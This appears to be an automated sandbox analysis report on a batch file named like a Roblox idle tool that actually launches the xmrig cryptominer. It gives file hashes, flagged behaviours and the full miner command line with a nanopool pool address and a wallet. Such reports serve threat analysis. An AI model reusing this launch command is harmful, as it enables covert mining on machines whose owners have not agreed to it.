258a76e26e34ada4e48c38fb2965115c47016dcb1116640903f8ab2dc94c98af

Analysis

max time kernel
954s
max time network
1052s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
11-08-2024 13:22

Target

miner8.0/rbxidle - Copy (22).cmd
Size

1KB
MD5

b5f4a1dc0788a0ac8a07d756f670aa3a
SHA1

f3927b48692de9a700884f76c3a01567d5795ddc
SHA256

cc30f748dd6595b4f9aba8b74a613ac96dfbbd614cd0fd93fe3577135e8b5096
SHA512

021e1c2f2062dd5cc49bd68414e574983f31a3d859764fde35b988fa9d4842133c6f9ff4aeb40469f4f577562f2da10a75c6e39c913673e316caa2f956e450c4

Score

1^/10

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4656	xmrig.exe
Token: SeLockMemoryPrivilege	4656	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4656	xmrig.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 4656	2012	cmd.exe	92
PID 2012 wrote to memory of 4656	2012	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\miner8.0\rbxidle - Copy (22).cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Users\Admin\AppData\Local\Temp\miner8.0\xmrig.exe
  xmrig.exe -a rx/0 -k -o stratum+tcp://xmr-us-east1.nanopool.org:10300 -u 47KJeHrhm2xQzgxg3kYx4m8SsxDAgSXSPJAroo1aCWQN2XLdDUtFaYrgKqCbkxCQ2C9KWgGqCy94UByPc3EMVkNC88Ef6By.USER-DcOoDP3s18LSRK! -p x
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4352,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=3952 /prefetch:8
1⤵
PID:688

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4788,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:8
1⤵
PID:4920

memory/4656-0-0x0000028625B90000-0x0000028625BB0000-memory.dmp

Filesize
128KB

Download
memory/4656-1-0x0000028625BF0000-0x0000028625C10000-memory.dmp

Filesize
128KB

Download
memory/4656-2-0x0000028625C10000-0x0000028625C30000-memory.dmp

Filesize
128KB

Download
memory/4656-3-0x0000028625C30000-0x0000028625C50000-memory.dmp

Filesize
128KB

Download
memory/4656-4-0x0000028625C10000-0x0000028625C30000-memory.dmp

Filesize
128KB

Download
memory/4656-5-0x0000028625C30000-0x0000028625C50000-memory.dmp

Filesize
128KB

Download